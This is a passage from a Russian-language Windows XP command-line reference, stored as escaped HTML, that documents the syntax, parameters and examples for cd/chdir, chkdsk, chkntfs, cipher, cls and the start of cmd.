						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cd \winnt\profiles\username\programs\start menu&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Для получения дополнительных сведений о разрешении и запрещении расширений командного процессора щелкните ссылку «» и см. раздел, посвященный команде cmd.&lt;br /&gt;&amp;#160; &amp;#160; * Переход в корневой каталог&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Корневой каталог является вершиной дерева каталогов на диске. Чтобы перейти в корневой каталог, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cd\&lt;br /&gt;&amp;#160; &amp;#160; * Переход из основного каталога одного диска в основной каталог другого&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы перейти в основной каталог диска отличного от текущего, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; chdir [диск:\[каталог]]&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cd [диск:\[каталог]]&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы проверить переход к этому каталогу, введите одну из следующих команд:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; chdir [диск:]&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cd [диск:]&lt;br /&gt;&amp;#160; &amp;#160; * Команда chdir с другими параметрами доступна в консоли восстановления.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Используемая с именем диска команда chdir позволяет перейти в текущий каталог этого диска. Например, если ввести команду cd c: в приглашении каталога C:\Temp, отобразится следующая строка:&lt;/p&gt;
						&lt;p&gt;C:\Temp&lt;/p&gt;
						&lt;p&gt;Чтобы перейти в текущий каталог Reports, введите одну из следующих команд:&lt;/p&gt;
						&lt;p&gt;chdir \reports&lt;/p&gt;
						&lt;p&gt;cd \reports&lt;/p&gt;
						&lt;p&gt;Чтобы перейти из текущего каталога в подкаталог \Specials\Sponsors, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;cd \specials\sponsors&lt;/p&gt;
						&lt;p&gt;Или, если текущим каталогом является \Specials, введите следующую команду, чтобы перейти в подкаталог \Specials\Sponsors:&lt;/p&gt;
						&lt;p&gt;cd sponsors&lt;/p&gt;
						&lt;p&gt;Чтобы перейти из подкаталога в родительский каталог, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;cd ..&lt;/p&gt;
						&lt;p&gt;Для вывода на экран имени текущего каталога можно использовать команду chdir или cd без параметров. Например, если текущим каталогом является \Public\Jones на диске B, вызов команды chdir приведет к следующему результату:&lt;/p&gt;
						&lt;p&gt;B:\Public\Jones&lt;/p&gt;
						&lt;p&gt;Если при работе на диске D требуется скопировать все файлы каталогов \Public\Jones и \Public\Lewis на диске C в корневой каталог диска D, введите следующую последовательность команд:&lt;/p&gt;
						&lt;p&gt;chdir c:\public\jones&lt;/p&gt;
						&lt;p&gt;copy c:*.* d:\&lt;/p&gt;
						&lt;p&gt;chdir c:\public\lewis&lt;/p&gt;
						&lt;p&gt;copy c:*.* d:\&lt;/p&gt;
						&lt;p&gt;Если требуется скопировать все файлы каталогов \Public\Jones и \Public\Lewis в текущий каталог диска D, введите следующие команды:&lt;/p&gt;
						&lt;p&gt;chdir c:\public\jones&lt;/p&gt;
						&lt;p&gt;copy c:*.* d:&lt;/p&gt;
						&lt;p&gt;chdir c:\public\lewis&lt;/p&gt;
						&lt;p&gt;copy c:*.* d:&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Chkdsk&lt;/p&gt;
						&lt;p&gt;Вывод на экран отчета о состоянии диска в форме, зависящей от используемой файловой системы. Команда chkdsk также составляет список ошибок на диске и исправляет их. Выполненная без параметров команда chkdsk выводит информацию о состоянии текущего диска.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;chkdsk [том:][[путь] имя_файла] [/f] [/v] [/r] [/x] [/i] [/c] [/l[:размер]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;том:&lt;br /&gt;&amp;#160; &amp;#160; Указывает букву диска (с последующим двоеточием), точку подключения или имя тома.&lt;br /&gt;[путь] имя_файла&lt;br /&gt;&amp;#160; &amp;#160; Задает местонахождение и имя файла или имена множества файлов, для которых команда chkdsk проверит степень фрагментации. Для задания нескольких файлов можно использовать подстановочные знаки (* и ?).&lt;br /&gt;/f&lt;br /&gt;&amp;#160; &amp;#160; Задает исправление ошибок на диске. Диск должен быть заблокирован. Если диск не заблокирован командой chkdsk, отображается запрос на проверку диска при следующей перезагрузке компьютера.&lt;br /&gt;/v&lt;br /&gt;&amp;#160; &amp;#160; Выводит на экран имена проверяемых файлов и каталогов.&lt;br /&gt;/r&lt;br /&gt;&amp;#160; &amp;#160; Обнаруживает поврежденные сектора и восстанавливает ту часть данных, которая еще может быть прочитана. Диск должен быть заблокирован.&lt;br /&gt;/x&lt;br /&gt;&amp;#160; &amp;#160; Используйте только с файловой системой NTFS. При необходимости инициирует операцию отключения тома в качестве первого действия. Все открытые дескрипторы диска будут неверны. Параметр /x включает также функциональные возможности параметра /f.&lt;br /&gt;/i&lt;br /&gt;&amp;#160; &amp;#160; Используйте только с файловой системой NTFS. Выполняет менее тщательную проверку записей индекса, что уменьшает время, необходимое для работы команды chkdsk.&lt;br /&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Используйте только с файловой системой NTFS. Пропускает проверку циклов в структуре папок, что уменьшает время, необходимое для работы команды chkdsk.&lt;br /&gt;/l[:размер]&lt;br /&gt;&amp;#160; &amp;#160; Используйте только с файловой системой NTFS. Устанавливает указанный размер журнала. Если размер не указан, параметр /l выводит текущий размер.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Выполнение команды chkdsk&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы выполнить команду chkdsk для жестких дисков, необходимо быть членом группы администраторов.&lt;br /&gt;&amp;#160; &amp;#160; * Проверка заблокированных дисков при перезагрузке&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если требуется исправить ошибки на диске с помощью команды chkdsk, нельзя открывать файлы на этом диске. В противном случае выводится следующее сообщение о ошибке:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Невозможно выполнить команду Chkdsk, так как указанный том используется другим процессом. Следует ли выполнить проверку этого тома при следующей перезагрузке системы? [Y(да)/N(нет)]&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если пользователь выберет эту возможность, команда chkdsk проверит диск и автоматически исправит ошибки при перезагрузке компьютера. Если проверяемый раздел диска является загрузочным, команда chkdsk автоматически перезагрузит компьютер после проверки этого диска.&lt;br /&gt;&amp;#160; &amp;#160; * Отчет об ошибках&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда chkdsk выполняет проверку дискового пространства и его использования для файловых систем таблица размещения файлов (FAT) и NTFS. Команда Chkdsk позволяет получить отчет о состоянии со сведениями по каждой файловой системе. Отчет о состоянии диска включает перечень найденных ошибок. Если команда chkdsk запущена без параметра /f в активном разделе, может быть получено сообщение о наличии серьезных ошибок, так как диск нельзя заблокировать. Для поиска ошибок команду chkdsk нужно запускать время от времени на каждом диске.&lt;br /&gt;&amp;#160; &amp;#160; * Исправление ошибок&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если указан параметр командной строки /f, программа chkdsk исправляет ошибки на диске. При работе chkdsk должна обеспечиваться возможность блокирования диска для исправления ошибок. Поскольку при исправлении ошибок обычно изменяется таблица размещения файлов и иногда происходит потеря данных, программа chkdsk запрашивает подтверждение в следующем виде:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Потерянных кластеров: 10; цепочек: 3.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Преобразовать потерянные цепочки кластеров в файлы [Y(да)/N(нет)]?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если ввести Y, Windows сохраняет каждую потерянную цепочку в корневом каталоге как файл с именем формата Filennnn.chk. После завершения выполнения chkdsk можно проверить эти файлы на наличие нужных сведений. Если ввести N, Windows исправляет ошибки на диске без сохранения данных из потерянных блоков.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если параметр командной строки /f не используется, программа chkdsk только выдает сообщение о наличие ошибок в файле, но не исправляет их.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если команда chkdsk /f запущена на диске большого объема (например 70 Гб) или диск содержит большое количество файлов (например несколько миллионов), для завершения работы программы chkdsk может потребоваться очень много времени (возможно несколько дней). В течение всего этого времени компьютер будет недоступен для пользователей, так как chkdsk не возвращает управления до завершения работы.&lt;br /&gt;&amp;#160; &amp;#160; * Проверка дисков с файловой системой FAT&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Система Windows выводит отчет программы chkdsk о состоянии диска с файловой системой FAT в следующем формате:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Серийный номер тома: B1AF-AFBF&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 72214528 байт всего на диске&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 73728 байт в 3 скрытых файлах&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 30720 байт в 12 каталогах&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 11493376 байт в 386 пользовательских файлах&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 61440 байт в поврежденных секторах&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 60555264 байт доступно на диске&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 2048 байт в каждом кластере&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Всего кластеров на диске: 35261.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 29568 кластеров на диске&lt;br /&gt;&amp;#160; &amp;#160; * Проверка дисков с файловой системой NTFS&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Система Windows выводит отчет программы chkdsk о состоянии диска с файловой системой NTFS в следующем формате:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Тип файловой системы: NTFS.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Проверка файлов...&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Проверка файлов завершена.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Проверка индексов...&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Проверка индесков завершена.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Проверка описателей защиты...&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Проверка описателей защиты завершена.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 12372 Кбайт всего на диске.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 3 Кбайт в 1 пользовательских файлах.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 2 КБ в 1 индексах.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 4217 КБ используется системой.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 8150 Кбайт свободно на диске.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Размер кластера: 512 байт.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Всего кластеров на диске: 24745.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 16301 кластеров на диске.&lt;br /&gt;&amp;#160; &amp;#160; * Использование chkdsk с открытыми файлами&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если указан параметр /f, команда chkdsk выводит сообщение об ошибке, если на диске найдены открытые файлы. Если же параметр /f не указан и на диске найдены открытые файлы, chkdsk может выводить сообщения о потерянных блоках на диске. Это произойдет в случае, когда открытые файлы еще не записаны в таблице размещения файлов. Если программа chkdsk сообщает о большом количестве потерянных блоков дискового пространства, должна быть рассмотрена возможность ремонта диска.&lt;br /&gt;&amp;#160; &amp;#160; * Обнаружение физических ошибок диска&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Используйте параметр командной строки /r для обнаружения физических ошибок диска в файловой системе. Для получения сведений о восстановлении физически поврежденных файлов с помощью команды recover щелкните ссылку «».&lt;br /&gt;&amp;#160; &amp;#160; * Отчет о поврежденных секторах диска&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Испорченные сектора, о которых сообщает команда chkdsk, были маркированы при первом форматировании диска. Такие сектора не представляют опасности.&lt;br /&gt;&amp;#160; &amp;#160; * Общие сведения о кодах завершения программы&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В следующей таблице перечислены коды завершения, которые могут содержатся в отчете программы chkdsk после окончания ее выполнения.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Код выхода 	Описание&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 0 	Не найдено ни одной ошибки.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 1 	Ошибки найдены и исправлены.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 2 	Была выполнена очистка диска, например удалены ненужные файлы, или очистка не была выполнена из-за отсутствия ключа /f.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; 3 	Диск не может быть проверен, ошибки не могут быть исправлены или ошибки не были исправлены, так как не был задан ключ /f.&lt;br /&gt;&amp;#160; &amp;#160; * Команда chkdsk с другими параметрами доступна в консоли восстановления.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Если требуется проверить диск в дисководе D и исправить все обнаруженные ошибки в Windows, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chkdsk d: /f&lt;/p&gt;
						&lt;p&gt;Если обнаружена ошибка, выполнение программы сhkdsk приостанавливается и выводятся соответствующие сообщения. По окончании выполнения команды chkdsk на экран выводится отчет, содержащий сведения о текущем состоянии диска. До завершения работы chkdsk нельзя открывать какие-либо файлы на указанном диске.&lt;/p&gt;
						&lt;p&gt;Чтобы проверить фрагментацию всех файлов в текущем каталоге на диске с файловой системой FAT, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chkdsk *.*&lt;/p&gt;
						&lt;p&gt;Chkdsk выведет отчет о состоянии диска, а затем список фрагментированных файлов, удовлетворяющих шаблону команды.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Chkntfs&lt;/p&gt;
						&lt;p&gt;Просмотр или задание планирования автоматической проверки системы для томов файловых систем FAT, FAT32 или NTFS при запуске компьютера.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;chkntfs том: [...]&lt;/p&gt;
						&lt;p&gt;chkntfs [/d]&lt;/p&gt;
						&lt;p&gt;chkntfs [/t[:время]]&lt;/p&gt;
						&lt;p&gt;chkntfs [/x том: [...]]&lt;/p&gt;
						&lt;p&gt;chkntfs [/c том: [...]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;том: [...]&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Указание буквы диска (с последующим двоеточием), точки подключения или имени тома. Выводит сообщение, в котором указана файловая система заданного тома. Если выполняется запланированная автоматическая проверка файлов, данный параметр позволяет вывести сообщение о повреждении тома. В этом случае необходимо запустить команду chkdsk.&lt;br /&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Восстановление всех параметров chkntfs по умолчанию, за исключением времени, оставшегося до автоматической проверки файлов. По умолчанию при запуске компьютера проверяются все тома.&lt;br /&gt;/t[:время]&lt;br /&gt;&amp;#160; &amp;#160; Изменение инициализации обратного времени отсчета в Autochk.exe на указанное значение времени в секундах. Если параметр :время не задан, параметр /t выводит текущее время обратного отсчета.&lt;br /&gt;/x том: [...]&lt;br /&gt;&amp;#160; &amp;#160; Исключение указанного тома из проверки при запуске компьютера, даже если помечено, что для него требуется запуск chkdsk.&lt;br /&gt;/c том: [...]&lt;br /&gt;&amp;#160; &amp;#160; Планирование проверки указанного тома при запуске компьютера.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Чтобы выполнить команду chkntfs, необходимо быть членом локальной группы администраторов.&lt;br /&gt;&amp;#160; &amp;#160; * Хотя инициализацию времени обратного отсчета в Autochk.exe можно установить в ноль, это не позволит отменить автоматическую проверку файлов, которая является потенциально длительной процедурой.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы вывести инициализацию времени обратного отсчета файла Autochk.exe, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chkntfs /t&lt;/p&gt;
						&lt;p&gt;При изменении инициализации времени обратного отсчета в Autochk.exe введите время в секундах. Например, чтобы установить время обратного отсчета в 30 секунд, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chkntfs /t:30&lt;/p&gt;
						&lt;p&gt;Параметр командной строки /x не обладает свойством накопления. Если он вводится несколько раз, самая последняя запись переопределяет предыдущие данные. Чтобы исключить несколько томов, перечислите их в одной команде. Например, чтобы исключить тома E: и F:, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chkntfs /x e: f:&lt;/p&gt;
						&lt;p&gt;Чтобы исключить только том F:, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chkntfs /x e:&lt;/p&gt;
						&lt;p&gt;chkntfs /x f:&lt;/p&gt;
						&lt;p&gt;Параметр командной строки /c обладает свойством накопления. Если требуется проверять только указанный том, восстановите параметры по умолчанию для сброса всех предыдущих команд, исключите проверку всех томов, а затем запланируйте автоматическую проверку файлов для нужного тома.&lt;/p&gt;
						&lt;p&gt;Например, чтобы запланировать автоматическую проверку файлов только на диске D:, введите следующие команды:&lt;/p&gt;
						&lt;p&gt;chkntfs /d&lt;/p&gt;
						&lt;p&gt;chkntfs /x c: d: e:&lt;/p&gt;
						&lt;p&gt;chkntfs /c d:&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Cipher&lt;/p&gt;
						&lt;p&gt;Отображение или изменение шифрование папок и файлов на томах NTFS. Использованная без параметров команда cipher отображает состояние шифрования текущей папки и всех файлов, находящихся в ней.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;cipher [{/e|/d}] [/s:каталог] [/a] [/i] [/f] [/q] [/h] [/k] [/u[/n]] [путь [...]] | [/r:имя_файла_без_расширения] | [/w:путь]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/e&lt;br /&gt;&amp;#160; &amp;#160; Шифрует указанные папки. Папки помечаются таким образом, чтобы файлы, которые будут добавляться в папку позже, также шифровались.&lt;br /&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Расшифровывает указанные папки. Папки помечаются таким образом, чтобы файлы, которые будут добавляться в папку позже, также шифровались.&lt;br /&gt;/s: каталог&lt;br /&gt;&amp;#160; &amp;#160; Выполняет выбранную операцию над указанной папкой и всеми подпапками в ней.&lt;br /&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Выполняет операцию над файлами и каталогами.&lt;br /&gt;/i&lt;br /&gt;&amp;#160; &amp;#160; Продолжение выполнения указанной операции даже после возникновения ошибок. По умолчанию выполнение cipher прекращается после возникновения ошибки.&lt;br /&gt;/f&lt;br /&gt;&amp;#160; &amp;#160; Выполнение шифрования или расшифровывания указанных объектов. По умолчанию уже зашифрованные или расшифрованные файлы пропускаются командой cipher.&lt;br /&gt;/q&lt;br /&gt;&amp;#160; &amp;#160; Включение в отчет только наиболее важных сведений.&lt;br /&gt;/h&lt;br /&gt;&amp;#160; &amp;#160; Отображение файлов с атрибутами «Скрытый» и «Системный». По умолчанию эти файлы не шифруются и не расшифровываются.&lt;br /&gt;/k&lt;br /&gt;&amp;#160; &amp;#160; Создание ключа шифрования файла для пользователя, выполнившего команду cipher. Если используется данный параметр, все остальные параметры команды cipher не учитываются.&lt;br /&gt;/u&lt;br /&gt;&amp;#160; &amp;#160; Обновление ключа шифрования файла пользователя или ключа агента восстановления на текущие ключи во всех зашифрованных файлах на локальном диске (если эти ключи были изменены). Этот параметр используется только вместе с параметром /n.&lt;br /&gt;/n&lt;br /&gt;&amp;#160; &amp;#160; Запрещение обновления ключей. Данный параметр служит для поиска всех зашифрованных файлов на локальных дисках. Этот параметр используется только вместе с параметром /u. &lt;br /&gt;путь&lt;br /&gt;&amp;#160; &amp;#160; Указывает шаблон, файл или папку.&lt;br /&gt;/r:имя_файла_без_расширения&lt;br /&gt;&amp;#160; &amp;#160; Создание нового сертификата агента восстановления и закрытого ключа с последующей их записью в файлах с именем, указанным в параметре имя_файла_без_расширения. Если используется данный параметр, все остальные параметры команды cipher не учитываются.&lt;br /&gt;/w:путь&lt;br /&gt;&amp;#160; &amp;#160; Удаление данных из неиспользуемых разделов тома. Параметр путь может указывать на любой каталог нужного тома. Если используется данный параметр, все остальные параметры команды cipher не учитываются.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Использование параметра /w&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметр /w удаляет данные из доступных разделов тома и не применим к файлам или каталогам. При использовании данного параметра диск не блокируется, поэтому другие программы могут обращаться к разделам на диске, которые в этом случае не могут быть стерты cipher. Поскольку данный параметр выполняет запись в большую часть дискового тома, для завершения работы программы может потребоваться много времени, а поэтому его следует использовать только при необходимости.&lt;br /&gt;&amp;#160; &amp;#160; * Шифрование и расшифровывание файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы предотвратить расшифровывание зашифрованного файла при изменении, рекомендуется зашифровать и файл, и папку, в которой он находится.&lt;br /&gt;&amp;#160; &amp;#160; * Использование файлов и папок, доступных только для чтения&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; С помощью команды cipher нельзя зашифровать файлы, доступные только для чтения.&lt;br /&gt;&amp;#160; &amp;#160; * Использованиее нескольких имен папок&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Имеется возможность использовать несколько имен папок и подстановочные знаки.&lt;br /&gt;&amp;#160; &amp;#160; * Использование нескольких параметров&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметры должны быть разделены между собой по крайней мере одним пробелом.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы зашифровать подпапку May в папке MonthlyReports с помощью команды cipher, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;cipher /e monthlyreports\may&lt;/p&gt;
						&lt;p&gt;Чтобы зашифровать папку MonthlyReports, подпапки с January по December и подпапки Manufacturing в подпапках месяцев, введите:&lt;/p&gt;
						&lt;p&gt;cipher /e /s:monthlyreports&lt;/p&gt;
						&lt;p&gt;Чтобы зашифровать только файл Marketing.xls в подпапке May, введите:&lt;/p&gt;
						&lt;p&gt;cipher /e /a monthlyreports\may\marketing.xls&lt;/p&gt;
						&lt;p&gt;Чтобы зашифровать файл Marketing.xls, файл Maintenance.doc и подпапку Manufacturing (расположенные в папке May), введите:&lt;/p&gt;
						&lt;p&gt;cipher /e /a monthlyreports\may\ma*&lt;/p&gt;
						&lt;p&gt;Чтобы определить, зашифрована ли папка May, введите:&lt;/p&gt;
						&lt;p&gt;cipher monthlyreports\may&lt;/p&gt;
						&lt;p&gt;Чтобы определить, какие файлы зашифрованы в папке May, введите:&lt;/p&gt;
						&lt;p&gt;cipher monthlyreports\may\*&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Cls&lt;/p&gt;
						&lt;p&gt;Очистка окна командной строки.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;cls&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы очистить окно командной строки от сведений, которые в нем отображаются, и восстановить пустое окно, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;cls&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Cmd&lt;/p&gt;
						&lt;p&gt;Запуск нового экземпляра программы командного процессора Cmd.exe. Выполненная без параметров команда cmd выводит сведения о версии Windows XP и авторских правах.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;cmd [[{/c|/k}] [/s] [/q] [/d] [{/a|/u}] [/t:тф] [/e:{on|off}] [/f:{on|off}] [/v:{on|off}] команда]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Выполнение команды, заданной параметром команда, с завершением работы.&lt;br /&gt;/k&lt;br /&gt;&amp;#160; &amp;#160; Выполнение команды, заданной параметром команда, с продолжением работы.&lt;br /&gt;/s&lt;br /&gt;&amp;#160; &amp;#160; Изменение обработки команды после параметров /c или /k.&lt;br /&gt;/q&lt;br /&gt;&amp;#160; &amp;#160; Выключение режима вывода команд на экран.&lt;br /&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Отключение выполнения команд AutoRun.&lt;br /&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Вывод сведений в формате ANSI (American National Standards Institute).&lt;br /&gt;/u&lt;br /&gt;&amp;#160; &amp;#160; Вывод сведений в кодировке Юникод.&lt;br /&gt;/t:тф&lt;br /&gt;&amp;#160; &amp;#160; Изменение цвета текста т и фона ф. В следующей таблице перечислены допустимые шестнадцатеричные числа, которые можно задать в качестве значений параметров т и ф.&lt;br /&gt;&amp;#160; &amp;#160; Значение 	Цвет&lt;br /&gt;&amp;#160; &amp;#160; 0 	Черный&lt;br /&gt;&amp;#160; &amp;#160; 1 	Синий&lt;br /&gt;&amp;#160; &amp;#160; 2 	Зеленый&lt;br /&gt;&amp;#160; &amp;#160; 3 	Голубой&lt;br /&gt;&amp;#160; &amp;#160; 4 	Красный&lt;br /&gt;&amp;#160; &amp;#160; 5 	Сиреневый&lt;br /&gt;&amp;#160; &amp;#160; 6 	Желтый&lt;br /&gt;&amp;#160; &amp;#160; 7 	Белый&lt;br /&gt;&amp;#160; &amp;#160; 8 	Серый&lt;br /&gt;&amp;#160; &amp;#160; 9 	Светло-синий&lt;br /&gt;&amp;#160; &amp;#160; A 	Светло-зеленый&lt;br /&gt;&amp;#160; &amp;#160; B 	Светло-голубой&lt;br /&gt;&amp;#160; &amp;#160; C 	Светло-красный&lt;br /&gt;&amp;#160; &amp;#160; D 	Светло-сиреневый&lt;br /&gt;&amp;#160; &amp;#160; E 	Светло-желтый&lt;br /&gt;&amp;#160; &amp;#160; F 	Яркий белый&lt;br /&gt;/e:on&lt;br /&gt;&amp;#160; &amp;#160; Включение расширений командного процессора.&lt;br /&gt;/e:off&lt;br /&gt;&amp;#160; &amp;#160; Отключение расширений командного процессора.&lt;br /&gt;/f:on&lt;br /&gt;&amp;#160; &amp;#160; Включение завершения имен файлов и папок.&lt;br /&gt;/f:off&lt;br /&gt;&amp;#160; &amp;#160; Отключение завершения имен файлов и папок.&lt;br /&gt;/v:on&lt;br /&gt;&amp;#160; &amp;#160; Включение отложенного расширения переменных среды.&lt;br /&gt;/v:off&lt;br /&gt;&amp;#160; &amp;#160; Отключение отложенного расширения переменных среды.&lt;br /&gt;строка&lt;br /&gt;&amp;#160; &amp;#160; Задание команды для выполнения.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Использование нескольких команд&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В параметре строка можно указать несколько команд, используя разделитель команд &amp;amp;&amp;amp;. Однако в этом случае необходимо заключить все эти команды в кавычки (например &amp;quot;команда&amp;amp;&amp;amp;команда&amp;amp;&amp;amp;команда&amp;quot;).&lt;br /&gt;&amp;#160; &amp;#160; * Обработка кавычек&lt;/p&gt;
